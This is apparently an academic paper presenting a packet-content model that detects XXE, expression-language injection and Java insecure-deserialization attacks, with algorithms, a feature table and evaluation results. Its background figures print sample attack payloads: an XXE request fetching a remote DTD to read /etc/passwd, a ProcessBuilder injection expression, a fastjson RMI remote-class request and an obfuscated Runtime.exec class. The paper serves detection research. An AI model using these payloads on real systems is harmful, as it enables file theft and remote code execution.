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Abstract: In recent years, various Remote Code Execution vulnerabilities on the Internet have been
exposed frequently; thus, more and more security researchers have begun to pay attention to the
detection of Remote Code Execution attacks. In this paper, we focus on three kinds of common
Remote Code Execution attacks: XML External Entity, Expression Language Injection, and Insecure
Deserialization. We propose a packet content-oriented Remote Code Execution attack payload
detection model. For the XML External Entity attack, we propose an algorithm to construct the
use-definition chain of XML entities, and implement detection based on the integrity of the chain
and the behavior of the chain’s tail node. For the Expression Language Injection and Insecure
Deserialization attack, we extract 34 features to represent the string operation and the use of sensitive
classes/methods in the code, and then train a machine learning model to implement detection. At
the same time, we build a dataset to evaluate the effect of the proposed model. The evaluation results
show that the model performs well in detecting XML External Entity attacks, achieving a precision
of 0.85 and a recall of 0.94. Similarly, the model performs well in detecting Expression Language
Injection and Insecure Deserialization attacks, achieving a precision of 0.99 and a recall of 0.88.

Keywords: remote code execution; XML external entity; expression language injection; insecure
deserialization; network attack detection

1. Introduction

RCE (Remote Code Execution) is a generalized type of network attack. Attackers use
network packets (hereinafter referred to as packets) as carriers to send malicious payloads elab-
orately constructed to the victim server, inducing the server to execute malicious code [1]. RCE
attacks can have a huge impact on the information system, such as disclosing confidential data
and destroying essential facilities. In recent years, more and more new RCE vulnerabilities
have been revealed. On 16 November 2020, the XStream team released a risk notice regarding
the CVE-2020-26217 (https://x-stream.github.io/CVE-2020-26217.html (accessed on 7 March
2024)) RCE vulnerability. Unauthorized attackers can send specially crafted XML data to web
applications using XStream, bypass XStream’s blacklist defense, trigger a malicious deserial-
ization process, and subsequently execute remote code. On 24 November 2021, the Alibaba
Cloud security team reported the Apache Log4j2 RCE vulnerability (https://logging.apache.
org/log4j/2.x/security.html, https://help.aliyun.com/noticelist/articleid/1060971232.html
(accessed on 7 March 2024)) to the Apache official team. The vulnerability exists because
some methods in Apache Log4j2 have recursive parsing functions, allowing attackers to
construct malicious requests and trigger the RCE vulnerability. On 24 March 2022, NSFOCUS
CERT detected that Spring Cloud had fixed a SpEL expression injection vulnerability. This
vulnerability exists because the parameter spring.cloud.function.routing-expression
in the request header is processed as a SpEL expression by the apply method of the Rout-
ingFunction class in the Spring Cloud Function, leading to the expression injection vul-
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nerability. An attacker could exploit this vulnerability to remotely execute arbitrary code
(http://blog.nsfocus.net/spring-cloud-function-spel (accessed on 7 March 2024)).

Packet content-oriented attack detection has always been a focus of researchers.
Generally, it is straightforward to establish filtering rules on security devices such as
Web Application Firewalls (WAFs), blocking packets carrying RCE attack payloads through
keyword matching [2–4]. However, it brings challenges to the normal operation of business
systems. If the system needs to use or load remote resources due to business requirements,
blocking packets with sensitive keywords may make the system services unavailable.
Simultaneously, with the upgrade of the attack–defense game, in order to avoid the de-
tection of security devices, attackers distort and confuse the payloads to hide malicious
features, which makes it hard for the defense system to detect these attack payloads. There-
fore, a key problem is how to effectively detect the maliciousness of the content carried by
packets and improve the reliability of the detection results.

According to the OWASP (https://owasp.org/www-project-top-ten (accessed on 7
March 2024)) Top 10 report, XXE (XML External Entity; we regard XXE as a special type of
RCE because attackers can realize some simple code functions, such as port scanning and
file reading, through the XML entities), ELi (Expression Language Injection), and IDSER
(Insecure Deserialization) are still three kinds of serious RCE attacks that current web
applications face. So in this paper, we focus on these three RCE attacks, combining (1) the
construction algorithm of the XML entities’ UD (use-definition) chain, and (2) 34 features
used to represent string operation and the use of sensitive classes/methods in the code,
proposing a packet content-oriented RCE attack payload detection model.

The contributions of this paper can be summarized as follows:

• We propose a novel RCE attack payload detection model named PCO-RCEAPD. This
model is packet content oriented, so it can quickly discover potential security threats
(i.e., XXE, ELi, and IDSER) in the process of network communication.

• For the XXE attack, we propose a novel algorithm to construct the UD chain of XML
entities. This algorithm tracks the reference process of XML entities in packets and
analyzes their sensitive behaviors.

• For the ELi and IDSER attack, we slice the code based on the data dependency of
expression language and Java code, extract 34 features that describe string operations
and the use of sensitive classes/methods, and train a machine learning model to
perform detection.

The rest of this paper is organized as follows. Section 2 introduces the basic concepts
related to the RCE attack. Section 3 introduces the static and dynamic detection technology
for malicious code. Section 4 describes the proposed model. Section 5 presents the evaluation
results and provides detailed analysis of these results. Section 6 is the summary of this work.

2. Preliminaries
2.1. Remote Code Execution

Compared with compiled programming languages, interpreted programming lan-
guages offer excellent flexibility and are widely used to develop various web applications.
As a major feature of the interpreted programming language, dynamic code execution can
treat the user’s input as a code and execute it, which is helpful to solve many complicated
problems. However, if the user’s input is not effectively checked and sanitized, an RCE
vulnerability may be caused.

RCE is a type of ACE (Arbitrary Code Execution). Attackers can exploit an RCE
vulnerability to execute arbitrary code on a remote host through LAN (Local Area Network),
WAN (Wide Area Network), or Internet. This allows them to perform malicious actions
such as stealing sensitive data, modifying important information, and gaining control of the
system. Figure 1 shows the RCE attack process for web applications. First, the attacker looks
for controllable input points on the web page. After identifying a controllable input point,
the attacker constructs a malicious payload and uploads it to the victim server. The victim

http://blog.nsfocus.net/spring-cloud-function-spel
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server then executes the malicious payload or requests malicious content preconstructed
by the attacker from a host specified by the attacker.

Attacker

Malicious Payload

Web Page

Malicious

Server

Victim

Server

(1)

(2)
(3)

(4)

Figure 1. The RCE attack process for web applications.

2.2. XML External Entity

XXE attack involves three concepts: XML, DTD (Document Type Definition), and entity.
XML is a marked language and file format for storing, transmitting, and reconstructing data,
which is widely used in web applications. DTD is used to control the format specification
of XML, which can define tags and entities in XML. Entity can be regarded as the variable
in XML, which is divided into an internal entity and external entity.

A major feature of the entity is that users can refer to the external entity (i.e., the entity
defined in the external DTD file), ensuring that any changes in external resources can be
automatically updated in the XML. Unfortunately, attackers can also use this feature to
realize XXE attacks. Attackers typically construct malicious payloads to disrupt the parsing
and processing of XML data, utilizing external entities to perform malicious behaviors
such as accessing the file system contents of the application server and interacting with
other hosts.

Figure 2 is an XXE example. Figure 2a is the request packet containing malicious
XML data constructed by the attacker, and Figure 2b is the malicious DTD content. The
attacker finds that there is an injection point in the request parameter q, so he sends the
well-constructed malicious XML data to the victim server for controlling the execution flow
of the web application and forcing the victim server to request malicious DTD content from
the host controlled by the attacker so as to realize the purpose of reading and returning the
contents of the etc/passwd file.

GET /solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE 

root[<!ENTITY % ext SYSTEM "http://IP/

passwd.dtd">%ext;%ent;]><root>&data;</

root>&wt=xml&defType=xmlparser HTTP/1.1

Host: IP:PORT

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/

537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/

avif,image/webp,image/apng,*/*;q=0.8,application/signed-

exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

(a) Malicious XML Data

(b) Malicious DTD Content

Figure 2. An XXE example.
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2.3. Expression Language Injection

Expression language (EL) is a special-purpose programming language mainly used
in web applications coded by Java. The mainstream expression languages include SpEL
(Spring Expression Language), OGNL (Object-Graph Navigation Language), etc. Both
SpEL and OGNL can provide users with a simple way to query and operate the object map
at runtime so that users can realize a lot of Java functions by using EL, such as creating
objects. The appearance of EL brings convenience to developers, but it also brings risks.
If the system filters the external input incompletely, attackers can control what the EL
interpreter processes, and then execute arbitrary code. Figure 3 is an ELi example. The
attacker sends this payload to the victim server. The EL interpreter executes it, creates a Java
ProcessBuilder object, and invokes its start function to execute malicious commands.

(new java.lang.ProcessBuilder(new java.lang.String[]{"malicious cmd"})).start()

Figure 3. An ELi example.

2.4. Insecure Deserialization

In Java, object serialization and deserialization are two fundamental mechanisms.
Serialization allows a Java object to be transformed into a byte stream, while deserialization
reconstructs the Java object from the byte stream. Benefiting from these mechanisms,
objects serialized on one platform can be deserialized on another platform, which is the
embodiment of the portability of Java.

RMI (Remote Method Invocation) is a mechanism that enables an object in one JVM
(Java Virtual Machine) to invoke methods of an object running in another JVM. Dynamic
class loading is an essential feature of RMI. When a JVM does not contain the definition of
a class, it will download the class from a remote URI (Uniform Resource Identifier). If the
attacker can indicate where the JVM downloads a remote class, the IDSER can be realized.

Figure 4 depicts an example of an attacker implementing an IDSER attack by loading
a remote class through RMI. Figure 5 shows the malicious class file constructed by the
attacker. The attacker uses the vulnerability of the victim server during the JSON data
parsing to indicate the address of this malicious class file through the dataSourceName
field, forcing the server to download the malicious class file. Then, the server performs
deserialization and executes the malicious behavior set in the static code block.

POST / HTTP/1.1

Host: IP:8090

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/

537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/

avif,image/webp,image/apng,*/*;q=0.8,application/signed-

exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=B605FDBD8F0C55936F51486A365CD6FE

Connection: close

Content-Type: application/json

Content-Length: 264

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://IP:PORT/Test",

        "autoCommit":true

    }

}

Figure 4. An example of loading the remote class by RMI.
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import com.sun.xml.internal.messaging.saaj.packaging.mime.util.ASCIIUtility;

public class Test {

    public Test() {

    }

    static {

        byte[] baseStrAscii = ASCIIUtility.getBytes(String.class.getName());

        baseStrAscii[0] = 99;

        baseStrAscii[2] = 108;

        baseStrAscii[3] = 99;

        baseStrAscii[4] = 46;

        baseStrAscii[5] = 101;

        baseStrAscii[6] = 120;

        baseStrAscii[7] = 101;

        byte[] newByte = new byte[]{baseStrAscii[0], baseStrAscii[1], baseStrAscii[2], 

baseStrAscii[3], baseStrAscii[4], baseStrAscii[5], baseStrAscii[6], baseStrAscii[7]};

        String commands = new String(newByte);

        Process pc = null;

        try {

            pc = Runtime.getRuntime().exec(commands);

            pc.waitFor();

        } catch (Exception var5) {

            var5.printStackTrace();

        }

    }

}

Figure 5. A malicious class file example.

3. Related Work

We regard the RCE attack payload detection as a code maliciousness detection task.
According to different detection targets, code maliciousness detection can be divided into
binary code maliciousness detection and source code maliciousness detection. The targets
of binary code maliciousness detection are mainly executable binary files such as trojans
and viruses [5,6]. Because of the high concealment of these malicious codes, it is difficult for
security engineers to obtain their source codes. On the contrary, source code maliciousness
detection is applied to scenes where the malicious source codes can be obtained, such
as detecting malicious codes related to web applications [7]. Because the source code is
available in our scene, we pay attention to the source code maliciousness detection.

Static and dynamic detection are two commonly used approaches for source code
maliciousness detection. Static detection refers to the syntax analysis and semantic analysis
of malicious code without executing it, aiming to extract malicious features and facilitate
detection [8,9]. Dynamic detection refers to executing the malicious code in sandboxes,
virtual machines, and other environments, realizing detection by tracking the execution
process and capturing malicious behaviors [10,11].

3.1. Static Approach

In 2018, Rusak et al. [12] proposed a malicious PowerShell detection method based on
AST (Abstract Syntax Tree). They combined the traditional static analysis and deep learning
technique, converted the PowerShell script into AST, and built embedding vectors for each
AST node type based on the built PowerShell corpus. Thus, the type of malicious Power-
Shell family can be classified by learning the embedding of AST nodes. Hendler et al. [13]
proved the effectiveness of character-level deep learning technology in malicious script
detection. Wang et al. [14] proposed a method for detecting malicious extension plugins of
browsers based on machine learning. They extracted static features and dynamic features
from the source code. The accuracy of their method on the testing dataset reached 95.18%,
and the false positive rate was 3.66%. In 2019, Liang et al. [15] constructed a malicious
JavaScript detection model based on AST and CFG (Control Flow Graph), which analyzed
the structure and behavior of code, extracted the syntax features of the code from AST
by the tree-based CNN (Convolutional Neural Network), and extracted the semantic fea-
tures of the code from CFG by the graph-based CNN. Li et al. [16] proposed a method for
detecting PHP WebShell, which collected the syntax and semantic features of code, paid
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attention to (1) the communication between the WebShell and attacker, (2) the adaptation
to the runtime environment, and (3) the use of sensitive operations; they then extracted
(1) the use of global variables features, (2) code adaptation and automation features, and
(3) data flow features. In 2021, after studying the existing malicious web script detection
methods, Huang et al. [17] found that most of the current research only focused on specific
programming languages and lacked universality. Therefore, they proposed a detection
method based on text features and AST node sequence features, building a model that
can detect multi-language web scripts. In this model, TF-IDF is used to obtain the vector
representation of AST, and the random forest model is trained by combining text features.
In 2022, Alahmadi et al. [18] relied on SdA (Stacked Denoising Auto-encoder) to extract
features from PowerShell scripts, eliminated the process of manually building features and
trained the XGBoost model to realize detection.

3.2. Dynamic Approach

In 2015, Wang et al. [19] proposed a hybrid method to analyze JavaScript malware.
They used machine learning technology to predict JavaScript from three aspects: text
information, program structure, and dangerous function invocation. As for the JavaScript
program that was predicted to be malicious, the dynamic analysis approach was used to
obtain its dynamic execution features. In 2017, Kim et al. [20] proposed a JavaScript code
enforcement engine J-Force, which systematically searched all possible execution paths of
JavaScript code and checked the function parameter values that might expose malicious
intent and suspicious DOM injection. In 2018, Wang et al. [21] proposed a dynamic taint
analysis framework to solve the problems of high false negative and high false positive in
the black box test and static analysis in DOM XSS detection. This framework tagged the
input data, and transmitted tags by modifying the PhamTomJS’s JavaScriptCore and the
WebKit engine so as to track the flow of taint data. Tang et al. [22] proposed an enforcement
technology for Andriod malware, which induced the Webview malware to execute along
different paths, and forced it to expose its hidden payload. Li et al. [23] proposed a forensic
engine named JSgraph, which can effectively record the execution of JavaScript programs
in browsers (with special attention to DOM modification driven by JavaScript code) and
reconstruct JavaScript-based web attacks encountered by users. In 2019, Xiao et al. [24]
proposed a behavior-based deep learning model for malware detection in the Internet of
Things environment. Ye et al. proposed a real-time Android malware detection model [25].
The model monitored the Android applications’ running state, extracted the invocation
sequence of API (Application Programming Interface), and used a structured heterogeneous
graph to represent the high-level semantic relationship of applications in the ecosystem.
Finally, a deep neural network was constructed to realize detection.

4. Methodology
4.1. System Overview

The overview of the proposed PCO-RCEAPD model is as Figure 6 shows. First of all,
we collect attack payloads related to XXE, ELi, and IDSER from code repositories available
on the internet, such as GitHub, to construct the raw dataset. After feature extraction,
the ELi and IDSER dataset is used to train a machine learning (ML) model to determine
whether a string is an RCE attack payload. Secondly, we set up experimental environments
to simulate RCE attacks using these payloads and collect network packets. Then, the
collected network packets are preprocessed, including Base64 decoding, URL decoding,
and JSON parsing. Thirdly, for packets containing XML data, we can determine whether
they are XXE attacks after XML data restoring, Entity Use-Def chain construction, and tail
node behavior analysis. For packets that do not contain XML data (i.e., non-XML data), we
process them, extract features, and send them to the ML model to determine whether they
are related to ELi and IDSER. Finally, the results from the XML detector and the ELi and
IDSER detector are integrated to determine whether the target network packet contains
an RCE attack payload.



Future Internet 2024, 16, 235 7 of 18

Code

Repository
Raw Dataset

Data 

Collect

Tail Node Behavior 

Analyze

XML Data Restore

Entity Use-Def 

Chain Construct

XML Data Process

String Standardize

EL Code Parse

AST Traverse

Bytecode Dump & 

Parse

Data Dependence 

Analyze & Code Slice

Feature Extract

ELi  Data Process IDSER  Data Process

XXE 

Dataset

ELi & IDSER 

Dataset

ML Model

Network 

Packets

Base64 Decode URL Decode JSON Parse

Experimental 

Environment

Construct

&

Collect

Packet Preprocess

XML Data Non-XML Data

Results Integration

Benign RCE

Model Train

Trained Model

ML Model 

Training Process

XXE Detector ELi & IDSER Detector

Figure 6. Overview of the proposed PCO-RCEAPD model.

4.2. Packet Preprocess

The packet processing procedure is shown in Algorithm 1, which includes three
important operations: packet parsing (i.e., JSON parsing), Base64 decoding, and URL
decoding. Firstly, the network packet is parsed, and the fields and values are recursively
extracted to form the pMap. However, the values in the packets may contain Base64 or URL
encoded content, which needs to be processed. Additionally, a data content may be nested
with both Base64 and URL encoding. Therefore, we use the processing procedure shown
in Algorithm 1 to realize Base64 decoding and URL decoding. Specifically, we attempt to
Base64 decode and URL decode a value in an infinite loop. If the contents before and after
decoding are the same, it indicates that the value does not contain Base64- or URL-encoded
content, and the loop exits. Figure 7 is the result of processing the packet shown in Figure 4.
Through the above steps, we parse a network packet into a JSON format for downstream
modules to use.
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Algorithm 1: Packet preprocess.
Input: Network packet netPacket
Output: Processed network packet netPacket_p

1 pMap← extractKeyValueMap(netPacket); // Recursively extract the
fields and values in netPacket to form a map data.

2 foreach key in pMap.getKeys() do
3 rawValue← pMap.getValue(key);
4 while true do
5 notBase64← false;
6 value1← base64Decode(rawValue);
7 if value1.equals(rawValue) then
8 notBase64← true;
9 bDecodeValue← rawValue;

10 end
11 else
12 bDecodeValue← value1;
13 end
14 notURLEnc← false;
15 value2← URLDecode(bDecodeValue);
16 if value2.equals(bDecodeValue) then
17 notURLEnc← true;
18 rawValue← bDecodeValue;
19 end
20 else
21 rawValue← value2;
22 end
23 if notBase64 and notURLEnc then
24 break;
25 end
26 end
27 pMap.setValue(key, rawValue);
28 end
29 netPacket_p← pMap;

{

    "HTTP_METHOD" : "POST",

    "HTTP_PROTO" : "HTTP/1.1",

    "URL" : "IP:8090",

    "Cache-Control" : "max-age=0",

    "Upgrade-Insecure-Requests" : "1",

    ...,

    "json_p0" : "java.lang.Class",

    "json_p1" : "com.sun.rowset.JdbcRowSetImpl",

    ...

}

Figure 7. Packet processing result of Figure 4.

4.3. XXE Detector

The key to detecting XXE attacks lies in the use and definition relationships of XML
entities. Following the XML rule that an entity must be defined before it is used, we propose
an algorithm (Algorithm 2) to construct the UD chain of XML entities and detect an XXE
attack. For XXE detection, we only need to focus on whether the constructed UD chain is
complete, and the behavior of its nodes, eliminating the need for machine learning models.
In detail, we check all packets in period T, extract XML and DTD data from different packets
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and restore them, then look for the use and definition of XML entities to construct the UD
chain. Based on the integrity of the chain and the behavior (such as network accessing, file
reading, and code execution) of the chain’s tail node, XXE attacks are detected.

Algorithm 2: XXE detection.
Input: All packets in period T
Output: XXE detection results, where true means there is a XXE attack

1 use_def← init();
2 entityMap← init();
3 results← init();
4 foreach packet in packets do
5 packetInfo← parsePacket(packet);
6 if packetInfo.containsXML() then
7 relatedPackets← findPacketsWithTime(packet, packets, T);
8 payloads← extractPayloadsInPackets(relatedPackets);
9 entities, values← extractEntitiesAndValues(payloads);

10 entityMap.addAll(entities, values);
11 entityUseList← extractEntityUseList(payloads);
12 foreach entityUse in entityUseList do
13 use_def.put(entityUse, null);
14 end
15 entityDefList← extractEntityDefList(payloads);
16 foreach entityDef in entityDefList do
17 if use_def.contains(entityDef) then
18 use_def.set(entityDef, entityDef);
19 end
20 end
21 integrity← true;
22 foreach ud in use_def do
23 if use_def.getValue(ud) is null then
24 results.put(packet, false);
25 integrity← false;
26 break;
27 end
28 end
29 if integrity then
30 for entity in entityMap do
31 value← entityMap.getValue(entity);
32 if hasSensitiveBehavior(value) then
33 results.put(packet, true);
34 break;
35 end
36 end
37 end
38 end
39 end

4.4. ELi and IDSER Detector

In this module, we extract (1) the string operation features and (2) the use features of
sensitive classes/methods from EL and Java code, respectively. We find that (1) EL is able
to operate Java objects in a similar way to Java code, and (2) the classes/methods used by
attackers to distort and confuse the EL and Java code payload are similar. Therefore, we



Future Internet 2024, 16, 235 10 of 18

establish the same feature group for malicious EL and Java code, combining the feature
dataset of EL with the feature dataset of Java code to jointly train a machine learning model.

4.4.1. Feature Group

In the current network environment, it is impossible to construct malicious payloads
by using sensitive classes/methods without modification. Security systems placed in each
network area can effectively discover the attack payloads through their malicious features.
So attackers have to make some changes. In order to avoid security systems’ detection,
attackers need to hide the malicious features of payloads. They usually use the classes and
methods provided by the system to splice, replace, and intercept malicious strings to bypass
the detection of the security systems. However, normal business systems may also use
these classes and methods, so it is not feasible to block them directly by keyword matching.

Based on the investigation of ELi and IDSER attacks and the research on existing
malicious code detection methods [7,26–29], we construct a feature group focusing on
(1) string operations and (2) the use of sensitive classes/methods to explore the malicious
semantic features hidden in the code. The constructed feature group is as Table 1 shows.

Table 1. Feature group for ELi and IDSER detection.

No. Feature Name Description

1 no_charAt Number of times the charAt method is used
2 no_getChars Number of times the getChars method is used
3 no_toString Number of times the toString method is used
4 no_valueOf Number of times the valueOf method is used
5 no_subString Number of times the subString method is used
6 no_split Number of times the split method is used
7 no_concat Number of times the concat method is used
8 no_replace Number of times the replace method is used
9 has_Runtime Is the Runtime class used
10 no_getRuntime Number of times the getRuntime method is used
11 has_ProcessBuilder Is the ProcessBuilder class used
12 no_forName Number of times the forName method is used
13 no_getClass Number of times the getClass method is used
14 has_getDeclaredField Is the getDeclaredField method used
15 has_newInstance Is the newInstance method used
16 no_getMethod Number of times the getMethod method is used
17 no_class Number of times the class field is used
18 has_getConstructor Is the getConstructor method used
19 has_getSystemClassLoader Is the getSystemClassLoader method used
20 has_getEngineByName Is the getEngineByName method used
21 has_eval Is the eval method used
22 no_add Number of times the “+” operator is used
23 has_getDeclaredConstructors Is the getDeclaredConstructors method used
24 has_getClassLoader Is the getClassLoader method used
25 has_start Is the start method used
26 no_loadClass Number of times the loadClass method is used
27 has_ScriptEngineManager Is the ScriptEngineManager class used
28 has_getResource Is the getResource method used
29 has_URLClassLoader Is the URLClassLoader class used
30 no_decode Number of times the decode method is used
31 has_getMethods Is the getMethods method used
32 has_exec Is the exec method used
33 has_invoke Is the invoke method used
34 has_getConstructors Is the getConstructors method used
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Because EL and Java code are different programming languages, we need to use
different ways to extract features from them.

4.4.2. EL Feature Extraction

The first step for a web application to execute an expression is to parse it to an
AST. The AST can represent the grammatical structure and semantic information of code
well, so we extract the features of EL at the AST level. OGNL and SpEL are different
expression languages that need to be parsed by different interpreters: OGNL is parsed by
the parseExpression method provided by the OGNL library, and SpEL is parsed by the
SpelExpressionParser class of the Spring Framework. The AST of OGNL is similar to
that of SpEL in structure, so we choose the same traversal strategy: traverse AST with the
depth-first search algorithm to find the nodes related to the “+” operator, method invoke,
and field reference, then extract features from these nodes.

However, we face two challenges when extracting features: (1) identifying the location
of the expression in the packet, and (2) determining whether the OGNL interpreter or
the SpEL interpreter is used to parse the expression. For the first challenge, we find
that the expression may appear anywhere in the packet, making it impossible to locate
the expression through simple regular matching (which may result in some malicious
expressions being missed). As a response, we have to treat all fields and values of the
packet as expressions. For the field, we find that the length of a normal field is usually not
very long; however, if it contains an expression, especially a malicious one, its length tends
to be much longer to achieve a specific function. Therefore, according to the experience,
we set the threshold of string length to 30, and if the length of the field exceeds 30, it is
regarded as an expression. For the value, we treat all of them as expressions. For the second
challenge, we use these two interpreters to parse the same content separately.

The reason for addressing these two challenges in the above manner is as follows:
Whether it is the ONGL interpreter or the SpEL interpreter, their input parameters are
strings. If a string, be it a field or a value, can be successfully parsed by an interpreter,
it indicates that the string adheres to the syntax rules of the expression language. For
example, if a field is a word, the expression interpreter will treat it as a variable during
parsing. For benign strings (even if they are not expressions), this module will not extract
malicious features from them after parsing, and thus it does not affect the judgment of the
machine learning model.

Notably, we find that some malicious expressions may exist in the URL, such as
abc/{expression}/xyz. So, we need to perform string standardization to process slashes
and backslashes that may exist in fields and values, splitting the string into {abc, expres-
sion, xyz} without destroying the structure of the expression.

4.4.3. Java Code Feature Extraction

It is easy to locate the Java bytecode by checking whether the original packets (in
hexadecimal form) contain the segment beginning with cafebabe (cafebabe is the magic
number used to indicate the class file). We intercept the part that begins with cafebabe
from the original packet, and then use Javassist to extract the class name, and dump it
into a class file. Next, we use Soot to convert the dumped class file into Jimple code and
analyze it.

Different from expression language, Java code has a more complex structure and
execution logic. So we cannot simply extract features based on AST. In response, we use a
lightweight code slicing algorithm based on data dependency as shown in Algorithm 3.
For a class file, we first use Soot to parse it and obtain a list of Soot classes. Next, we
analyze all the Soot methods of each Soot class to build code slices. Specifically, we define
a set of sensitive methods and perform intraprocedural analysis within the method body
containing sensitive method invocations to build the basic code slices. Then, based on these
basic code slices, we perform interprocedural analysis across all methods to construct the
complete code slices. Finally, we extract features on the basis of the constructed code slices.
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Algorithm 3: Code slice.
Input: Class file classFile
Output: Code slices codeSlices

1 sootClassList← Soot(classFile) // Use Soot to parse the class file
2 foreach sootClass in sootClassList do
3 sinkMethods← init();
4 foreach sootMethod in sootClass.getMethods() do
5 if sootMethod in sinkList then

// sinkList is a set of sensitive methods manually defined
by security experts.

6 sinkMethods.add(sootMethod);
7 end
8 end
9 foreach sinkMethod in sinkMethods do

10 Intraprocecdural Analysis: find out all variables (relatedVar) and method
invocations (relatedFunc) that have data dependencies with sinkMethod.

11 Interprocecdural Analysis: find out all method invocations
(newRelatedFunc) that have data dependencies with relatedVar and
relatedFunc in all sootMethods of sootClass.

12 codeSlices.addAll(newRelatedFunc)
13 end
14 end

5. Experimental Results and Analysis
5.1. Experimental Setup

The construction steps of the experimental dataset (the dataset used in this paper can
be obtained from https://github.com/HJX-zhanS/RCE-Detection-Dataset (accessed on 7
March 2024)) are as follows:

1. Building the vulnerability environment based on Github’s open source project Vulhub;
2. Collecting XXE, ELi, and IDSER payloads (benign and malicious) from the Internet;
3. Testing collected payloads in the built environment and collecting network packets.

We obtain 18 malicious XXE packets and 100 benign packets, 72 benign OGNL expres-
sions and 58 malicious OGNL expressions, 96 benign SpEL expressions and 48 malicious
SpEL expressions, and 97 benign class files and 55 malicious class files. Based on these,
we construct 340 pieces of data to evaluate the effect of the ELi and IDSER detector on ELi
detection, and 122 pieces of data to evaluate its effect on IDSER detection. We use seven
metrics as shown in Table 2 to evaluate the effect of the proposed model. It should be noted
that positive means malicious and negative means benign.

Table 2. Evaluation metrics.

Metric Description

TP (True Positive) The number of payloads correctly classified as malicious.
TN (True Negative) The number of payloads correctly classified as benign.
FP (False Positive) The number of payloads mistakenly classified as malicious.
FN (False Negative) The number of payloads mistakenly classified as benign.
Precision TP/(TP + FP)
Recall TP/(TP + FN)
F1 Score (2 ∗ Precision ∗ Recall)/(Precision + Recall)

5.2. Evaluation of the ELi and IDSER Detector

In this section, we select six typical machine learning algorithms to train models for
detecting ELi and IDSER on the dataset and evaluate these models. The machine learning

https://github.com/HJX-zhanS/RCE-Detection-Dataset
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algorithms we select are naive Bayes, decision tree, logistic regression, random forest,
SVM, and XGBoost. All of these algorithms are trained using their default parameters. It
should be noted that due to the small size of the dataset, we do not choose to use deep
learning algorithms.

5.2.1. Evaluation of ELi Detection

We evaluate the effect of the ELi and IDSER detector in detecting ELi. 5-fold cross-
validation is used to obtain machine learning models’ evaluation metrics and ROC (Receiver
Operating Characteristic) curves. The evaluation results are shown in Table 3, with the ROC
curves shown in Figure 8. In terms of evaluation metrics, the decision tree and random
forest models exhibit the highest precision and F1 score, while the SVM model achieves
the highest recall. Upon analyzing the confusion matrix, it is observed that decision tree,
logistic regression, random forest, and XGBoost models achieve the lowest false positives.
However, the logistic regression and XGBoost models show the highest false negatives. In
contrast, the SVM model achieves the highest true positive and the lowest false negative.
Regarding the ROC curves, the naive Bayes model demonstrates the highest AUC (Area
Under Curve) value. In general, the decision tree and random forest models are more
suitable for detecting ELi attacks.

Table 3. Evaluation results of ELi attack detection. The higher (↗) or lower (↘) the value is, the
better the model is. The best scores are shown in bold.

Model
TP

(↗)
TN
(↗)

FP
(↘)

FN
(↘)

Precision
(↗)

Recall
(↗)

F1
(↗)

Naive Bayes 109 220 2 9 0.98 0.92 0.95
Decision Tree 110 221 1 8 0.99 0.93 0.96

Logistic Regression 106 221 1 12 0.99 0.90 0.94
Random Forest 110 221 1 8 0.99 0.93 0.96

SVM 111 219 3 7 0.97 0.94 0.96
XGBoost 106 221 1 12 0.99 0.90 0.94
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Figure 8. ROC curves of ELi detection. (a) ROC curves of naive Bayes; (b) ROC curves of decision
tree; (c) ROC curves of logistic regression; (d) ROC curves of random forest; (e) ROC curves of SVM;
(f) ROC curves of XGBoost.
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5.2.2. Evaluation of IDSER Detection

We analyze the IDSER detection effect of the ELi and IDSER detector using five-fold
cross-validation. The results are summarized in Table 4, and the ROC curves are depicted
in Figure 9. The TN and FP of the naive Bayes model are the best, achieving 78 and 0,
respectively. Additionally, its precision is also the highest, at 1. Decision tree and random
forest excel in TP and FN, resulting in recall and F1 score of 0.84 and 0.9, respectively.
XGBoost also performs well in detecting IDSER, with TP, FN, and recall being the same as
those of random forest and decision tree. Further analysis of the ROC curves shows that
random forest, SVM, and XGBoost exhibit superior effects, achieving an AUC of 0.88. The
above results show that decision tree and random forest are the most suitable models for
IDSER detection.

Table 4. Evaluation results of IDSER attack detection. The higher (↗) or lower (↘) the value is, the
better the model is. The best scores are shown in bold.

Model
TP

(↗)
TN
(↗)

FP
(↘)

FN
(↘)

Precision
(↗)

Recall
(↗)

F1
(↗)

Naive Bayes 22 78 0 22 1 0.50 0.67
Decision Tree 37 77 1 7 0.97 0.84 0.90

Logistic Regression 34 75 2 10 0.94 0.77 0.85
Random Forest 37 77 1 7 0.97 0.84 0.90

SVM 34 76 1 10 0.97 0.77 0.86
XGBoost 37 75 3 7 0.93 0.84 0.88
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Figure 9. ROC curves of IDSER detection. (a) ROC curves of naive Bayes; (b) ROC curves of decision
tree; (c) ROC curves of logistic regression; (d) ROC curves of random forest; (e) ROC curves of SVM;
(f) ROC curves of XGBoost.

5.2.3. Comprehensive Evaluation Results of the ELi and IDSER Detector

Since ELi and IDSER payloads are essentially Java code with similar malicious features,
we need a unified machine learning model to detect them simultaneously. We combine
the training data of ELi and IDSER to train a machine learning model for simultaneous
detection. We evaluate trained machine learning models; the results are shown in Table 5,
and ROC curves are shown in Figure 10. From the evaluation results, we can see that all
the models, except naive Bayes, achieve a precision of 0.99. The recall and F1 score of
the decision tree and random forest models are the same, both being the best among the
six models, reaching 0.88 and 0.94, respectively. As for the ROC curves, the AUC of the
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decision tree is 0.91, while the AUC values of random forest, SVM, and XGBoost are all
0.9. Based on all the evaluation results, we find that both random forest and decision tree
have advantages over other machine learning models, whether detecting ELi and IDSER
separately or simultaneously.

